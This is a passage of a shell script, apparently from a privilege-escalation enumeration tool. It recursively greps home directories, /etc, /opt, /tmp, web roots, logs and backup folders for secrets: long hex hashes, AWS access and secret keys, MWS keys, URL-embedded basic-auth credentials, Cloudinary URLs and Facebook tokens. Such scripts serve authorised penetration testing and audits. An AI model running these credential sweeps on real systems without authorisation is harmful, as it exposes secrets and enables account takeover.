timeout 120 find /var/log -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~"&
wait
echo''
print_2title "Searching APIs"
print_3title "Searching AWS Client ID (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"'{}'\; 2>/dev/null | grep -Ev ":#|:<\!\-\-"| sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~"&
wait
print_3title "Searching AWS MWS Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}~${SED_RED}~"&
wait
print_3title "Searching AWS Secret Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~aws(.{0,20})?['\"][0-9a-zA-Z\/+]{40}['\"]~${SED_RED}~"&
wait
print_3title "Searching Basic Auth Credentials (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+~${SED_RED}~"&
wait
print_3title "Searching Cloudinary Basic Auth (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+~${SED_RED}~"&
wait
print_3title "Searching Facebook Access Token (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~"&
wait
print_3title "Searching Facebook Client ID (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~"&
